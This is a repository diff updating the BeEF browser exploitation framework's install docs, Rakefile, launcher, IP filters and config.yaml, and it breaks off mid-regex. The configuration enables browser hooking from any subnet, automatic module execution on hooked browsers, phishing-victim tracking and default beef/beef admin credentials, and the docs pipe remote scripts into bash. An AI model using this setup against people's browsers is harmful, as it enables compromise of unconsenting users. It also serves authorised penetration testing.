Other than that, you also need TheRubyRacer. As it's painful to install it on Windows, you can download 2 pre-compiled V8 DLLs and 2 gems from https://github.com/hiranpeiris/therubyracer_for_windows.
|
||||
|
||||
3. Prerequisites (Linux)
|
||||
|
||||
@@ -39,26 +42,26 @@ Installation
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.2
|
||||
3.3. rvm use 1.9.2
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.3-p484
|
||||
3.3. rvm use 1.9.3
|
||||
|
||||
4. Prerequisites (Mac OSX)
|
||||
|
||||
- XCode: provides the sqlite support BeEF needs
|
||||
|
||||
- Ruby 1.9
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p0 --with-gcc=clang
|
||||
To install RVM and Ruby 1.9.3 on Mac OS:
|
||||
$ bash -s stable < <(curl -Ls https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile
|
||||
$ rvm install 1.9.3-p484
|
||||
$ rvm use 1.9.3
|
||||
|
||||
|
||||
5. Install instructions
|
||||
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/zipball/master or cloning the GIT repo git@github.com:beefproject/beef.git
|
||||
Obtain application code either by downloading an archive from https://github.com/beefproject/beef/archive/master.zip or cloning the GIT repo https://github.com/beefproject/beef.git
|
||||
|
||||
Navigate to the ruby source directory and run:
|
||||
Enter into the newly created BeEF directory, and type:
|
||||
|
||||
bundle install
|
||||
|
||||
@@ -68,4 +71,4 @@ Installation
|
||||
|
||||
Simply run:
|
||||
|
||||
./beef
|
||||
./beef -x
|
||||
|
||||
28
README
28
README
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -35,24 +35,9 @@ Requirements
|
||||
------------
|
||||
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
|
||||
|
||||
|
||||
Quick Start
|
||||
@@ -60,15 +45,16 @@ Quick Start
|
||||
|
||||
__The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ bash -s stable < <(curl -s https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
$ bash -s stable < <(curl -Ls https://raw.github.com/beefproject/beef/a6a7536e736e7788e12df91756a8f132ced24970/install-beef)
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
To get started, simply execute beef and follow the instrustions:
|
||||
To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
|
||||
29
README.mkd
29
README.mkd
@@ -1,6 +1,6 @@
|
||||
===============================================================================
|
||||
|
||||
Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
|
||||
@@ -35,24 +35,9 @@ Requirements
|
||||
------------
|
||||
|
||||
* OSX 10.5.0 or higher, Modern Linux, Windows XP or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 RVM or higher
|
||||
* [Ruby](http://rubylang.org) 1.9.2 or higher
|
||||
* [SQLite](http://sqlite.org) 3.x
|
||||
* The following GEMS:
|
||||
- bundler
|
||||
- thin
|
||||
- Sinatra
|
||||
- ANSI
|
||||
- TERM-ANSIcolor
|
||||
- dm-core
|
||||
- json
|
||||
- data_objects
|
||||
- dm-sqlite-adapter
|
||||
- parseconfig
|
||||
- erubis
|
||||
- dm-migrations
|
||||
- msfrpc-client
|
||||
- eventmachine
|
||||
- win32console (Windows Only)
|
||||
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
|
||||
|
||||
|
||||
Quick Start
|
||||
@@ -60,9 +45,10 @@ Quick Start
|
||||
|
||||
__The following is for the impatient.__
|
||||
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
For full installation details (including on Microsoft Windows), please refer to INSTALL.txt.
|
||||
We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installation
|
||||
|
||||
$ curl https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
$ curl -L https://raw.github.com/beefproject/beef/a6a7536e/install-beef | bash -s stable
|
||||
|
||||
|
||||
Usage
|
||||
@@ -72,3 +58,6 @@ To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
On windows use
|
||||
|
||||
$ ruby beef
|
||||
|
||||
36
Rakefile
36
Rakefile
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -8,14 +8,14 @@ task :default => ["quick"]
|
||||
|
||||
desc "Run quick tests"
|
||||
task :quick do
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
end
|
||||
|
||||
desc "Run all tests"
|
||||
task :all do
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
end
|
||||
|
||||
desc "Run automated tests (for Jenkins)"
|
||||
@@ -38,16 +38,16 @@ task :unit => ["install"] do
|
||||
end
|
||||
|
||||
desc "Run MSF unit tests"
|
||||
task :msf => ["install", "msf_install"] do
|
||||
task :msf => ["install", "msf_install"] do
|
||||
Rake::Task['msf_update'].invoke
|
||||
Rake::Task['msf_start'].invoke
|
||||
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
|
||||
Rake::Task['msf_stop'].invoke
|
||||
end
|
||||
|
||||
task :install do
|
||||
sh "export BEEF_TEST=true;bundle install"
|
||||
end
|
||||
#task :install do
|
||||
# sh "export BEEF_TEST=true"
|
||||
#end
|
||||
|
||||
################################
|
||||
# X11 set up
|
||||
@@ -57,7 +57,7 @@ end
|
||||
task :xserver_start do
|
||||
printf "Starting X11 Server (wait 10 seconds)..."
|
||||
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -76,10 +76,10 @@ end
|
||||
@beef_process_id = nil;
|
||||
|
||||
task :beef_start => 'beef' do
|
||||
printf "Starting BeEF (wait 10 seconds)..."
|
||||
printf "Starting BeEF (wait a few seconds)..."
|
||||
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
|
||||
delays.each do |i| # delay for a few seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
end
|
||||
@@ -99,7 +99,7 @@ end
|
||||
task :msf_start => '/tmp/msf-test/msfconsole' do
|
||||
printf "Starting MSF (wait 45 seconds)..."
|
||||
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 45 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -116,7 +116,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
|
||||
# Handled by the 'test/msf-test/msfconsole' task.
|
||||
end
|
||||
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
sh "cd /tmp/msf-test;git pull"
|
||||
end
|
||||
|
||||
@@ -159,10 +159,10 @@ task :cde do
|
||||
Rake::Task['cde_beef_start'].invoke
|
||||
Rake::Task['beef_stop'].invoke
|
||||
puts "\nCleaning Up...\n";
|
||||
sleep (2);
|
||||
sleep (2);
|
||||
sh "rm -rf CDE";
|
||||
puts "\nCDE Package Created...\n";
|
||||
end
|
||||
end
|
||||
|
||||
################################
|
||||
# CDE/BeEF environment set up
|
||||
@@ -172,7 +172,7 @@ task :cde do
|
||||
task :cde_beef_start => 'beef' do
|
||||
printf "Starting CDE BeEF (wait 10 seconds)..."
|
||||
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
|
||||
4
VERSION
4
VERSION
@@ -1,7 +1,7 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.3.8-alpha
|
||||
0.4.6.0-alpha
|
||||
|
||||
8
beef
8
beef
@@ -1,7 +1,7 @@
|
||||
#!/usr/bin/env ruby
|
||||
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -58,6 +58,11 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
|
||||
config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
|
||||
end
|
||||
|
||||
# @note Check if interactive was specified from the command line, therefore override the extension to enable
|
||||
if BeEF::Core::Console::CommandLine.parse[:interactive] == true
|
||||
config.set('beef.extension.console.shell.enable',true)
|
||||
end
|
||||
|
||||
# @note Prints BeEF welcome message
|
||||
BeEF::Core::Console::Banners.print_welcome_msg
|
||||
|
||||
@@ -75,6 +80,7 @@ case config.get("beef.database.driver")
|
||||
DataMapper.setup(:default,
|
||||
:adapter => config.get("beef.database.driver"),
|
||||
:host => config.get("beef.database.db_host"),
|
||||
:port => config.get("beef.database.db_port"),
|
||||
:username => config.get("beef.database.db_user"),
|
||||
:password => config.get("beef.database.db_passwd"),
|
||||
:database => config.get("beef.database.db_name"),
|
||||
|
||||
108
config.yaml
108
config.yaml
@@ -1,52 +1,84 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.3.8-alpha'
|
||||
version: '0.4.6.0-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
client_debug: false
|
||||
# Used for generating secure tokens
|
||||
crypto_default_value_length: 80
|
||||
|
||||
# Interface / IP restrictions
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
# subnet of IP addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet: "127.0.0.1/32"
|
||||
# subnet of IP addresses that can connect to the admin UI
|
||||
#permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
# HTTP server
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
port: "3000"
|
||||
# if running behind a nat set the public ip address here
|
||||
#public: ""
|
||||
#public_port: "" # port setting is experimental
|
||||
dns: "localhost"
|
||||
panel_path: "/ui/panel"
|
||||
|
||||
# Decrease this setting to 1,000 (ms) if you want more responsiveness
|
||||
# when sending modules and retrieving results.
|
||||
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
|
||||
# when hooking lots of browsers (50+).
|
||||
# Enabling WebSockets is generally better (beef.websocket.enable)
|
||||
xhr_poll_timeout: 5000
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If BeEF is running behind a reverse proxy or NAT
|
||||
# set the public hostname and port here
|
||||
#public: "" # public hostname/IP address
|
||||
#public_port: "" # experimental
|
||||
|
||||
# DNS
|
||||
dns_host: "localhost"
|
||||
dns_port: 53
|
||||
|
||||
# Web Admin user interface URI
|
||||
web_ui_basepath: "/ui"
|
||||
|
||||
# Hook
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
# Allow one or multiple origins to access the RESTful API using CORS
|
||||
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
|
||||
restful_api:
|
||||
allow_cors: false
|
||||
cors_allowed_domains: "http://browserhacker.com"
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
secure_port: 61986 # WSS
|
||||
alive_timer: 1000 # poll BeEF every second
|
||||
enable: false
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
# Use encrypted 'WebSocketSecure'
|
||||
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
|
||||
secure: true
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: false
|
||||
type: "apache" #supported: apache, iis
|
||||
enable: true
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
enable: false
|
||||
# In production environments, be sure to use a valid certificate signed for the value
|
||||
# used in beef.http.dns (the domain name of the server where you run BeEF)
|
||||
# used in beef.http.dns_host (the domain name of the server where you run BeEF)
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
|
||||
@@ -55,6 +87,12 @@ beef:
|
||||
# README.databases file
|
||||
|
||||
# supported DBs: sqlite, mysql, postgres
|
||||
# NOTE: you must change the Gemfile adding a gem require line like:
|
||||
# gem "dm-postgres-adapter"
|
||||
# or
|
||||
# gem "dm-mysql-adapter"
|
||||
# if you want to switch drivers from sqlite to postgres (or mysql).
|
||||
# Finally, run a 'bundle install' command and start BeEF.
|
||||
driver: "sqlite"
|
||||
|
||||
# db_file is only used for sqlite
|
||||
@@ -62,17 +100,42 @@ beef:
|
||||
|
||||
# db connection information is only used for mysql/postgres
|
||||
db_host: "localhost"
|
||||
db_port: 5432
|
||||
db_name: "beef"
|
||||
db_user: "beef"
|
||||
db_passwd: "beef123"
|
||||
db_encoding: "UTF-8"
|
||||
|
||||
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
|
||||
# Credentials to authenticate in BeEF.
|
||||
# Used by both the RESTful API and the Admin_UI extension
|
||||
credentials:
|
||||
user: "beef"
|
||||
passwd: "beef"
|
||||
|
||||
crypto_default_value_length: 80
|
||||
# Autorun modules as soon the browser is hooked.
|
||||
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
|
||||
autorun:
|
||||
enable: true
|
||||
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
|
||||
allow_user_notify: true
|
||||
|
||||
# Enables DNS lookups on zombie IP addresses
|
||||
dns_hostname_lookup: false
|
||||
|
||||
# IP Geolocation
|
||||
# NOTE: requires MaxMind database:
|
||||
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
|
||||
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
|
||||
geoip:
|
||||
enable: false
|
||||
database: '/opt/GeoIP/GeoLiteCity.dat'
|
||||
|
||||
# Integration with PhishingFrenzy
|
||||
# If enabled BeEF will try to get the UID parameter value from the hooked URI, as this is used by PhishingFrenzy
|
||||
# to uniquely identify the victims. In this way you can easily associate phishing emails with hooked browser.
|
||||
integration:
|
||||
phishing_frenzy:
|
||||
enable: false
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
@@ -80,6 +143,8 @@ beef:
|
||||
enable: true
|
||||
proxy:
|
||||
enable: true
|
||||
key: "beef_key.pem"
|
||||
cert: "beef_cert.pem"
|
||||
metasploit:
|
||||
enable: false
|
||||
social_engineering:
|
||||
@@ -91,3 +156,6 @@ beef:
|
||||
enable: false
|
||||
ipec:
|
||||
enable: true
|
||||
# this is still experimental, we're working on it..
|
||||
dns:
|
||||
enable: true
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -155,7 +155,7 @@ module BeEF
|
||||
if not result == nil
|
||||
data << {:api_id => mod[:id], :data => result}
|
||||
end
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_error "API Fire Error: #{e.message} in #{mod.to_s}.#{method.to_s}()"
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -24,6 +24,8 @@ require 'core/main/handlers/browserdetails'
|
||||
|
||||
# @note Include the network stack
|
||||
require 'core/main/network_stack/handlers/dynamicreconstruction'
|
||||
require 'core/main/network_stack/handlers/redirector'
|
||||
require 'core/main/network_stack/handlers/raw'
|
||||
require 'core/main/network_stack/assethandler'
|
||||
require 'core/main/network_stack/api'
|
||||
|
||||
@@ -43,6 +45,7 @@ require 'core/main/rest/handlers/modules'
|
||||
require 'core/main/rest/handlers/categories'
|
||||
require 'core/main/rest/handlers/logs'
|
||||
require 'core/main/rest/handlers/admin'
|
||||
require 'core/main/rest/handlers/server'
|
||||
require 'core/main/rest/api'
|
||||
|
||||
## @note Include Websocket
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -37,4 +37,7 @@ require 'core/main/migration'
|
||||
require 'core/main/console/commandline'
|
||||
require 'core/main/console/banners'
|
||||
|
||||
# @note Include rubyzip lib
|
||||
require 'zip'
|
||||
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
module BeEF
|
||||
module Filters
|
||||
|
||||
|
||||
# Check if the string is not empty and not nil
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] Whether the string is not empty
|
||||
@@ -24,7 +24,7 @@ module Filters
|
||||
regex = Regexp.new('[^' + chars + ']')
|
||||
regex.match(str).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check if one or more characters in 'chars' are in 'str'
|
||||
# @param [String] chars List of characters to match
|
||||
# @param [String] str String for testing
|
||||
@@ -33,7 +33,7 @@ module Filters
|
||||
regex = Regexp.new(chars)
|
||||
not regex.match(str).nil?
|
||||
end
|
||||
|
||||
|
||||
# Check for null char
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has a null character
|
||||
@@ -98,14 +98,58 @@ module Filters
|
||||
return false if not is_non_empty_string?(str)
|
||||
only?("a-zA-Z0-9", str)
|
||||
end
|
||||
|
||||
# Check if valid ip address string
|
||||
# @param [String] ip String for testing
|
||||
# @return [Boolean] If the string is a valid IP address
|
||||
# @note only IPv4 compliant
|
||||
def self.is_valid_ip?(ip)
|
||||
return false if not is_non_empty_string?(ip)
|
||||
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
|
||||
|
||||
# @overload self.is_valid_ip?(version, ip)
|
||||
# Checks if the given string is a valid IP address
|
||||
# @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IP address, otherwise false
|
||||
#
|
||||
# @overload self.is_valid_ip?(ip)
|
||||
# Checks if the given string is either a valid IPv4 or IPv6 address
|
||||
# @param [String] ip string to be tested
|
||||
# @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
|
||||
def self.is_valid_ip?(version = :both, ip)
|
||||
valid = false
|
||||
|
||||
if is_non_empty_string?(ip)
|
||||
valid = case version.inspect.downcase
|
||||
when /^:ipv4$/
|
||||
ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
|
||||
(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
|
||||
when /^:ipv6$/
|
||||
ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,7}:|
|
||||
([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
|
||||
([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
|
||||
([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
|
||||
([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
|
||||
([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
|
||||
[0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
|
||||
:((:[0-9a-f]{1,4}){1,7}|:)|
|
||||
fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
|
||||
::(ffff(:0{1,4}){0,1}:){0,1}
|
||||
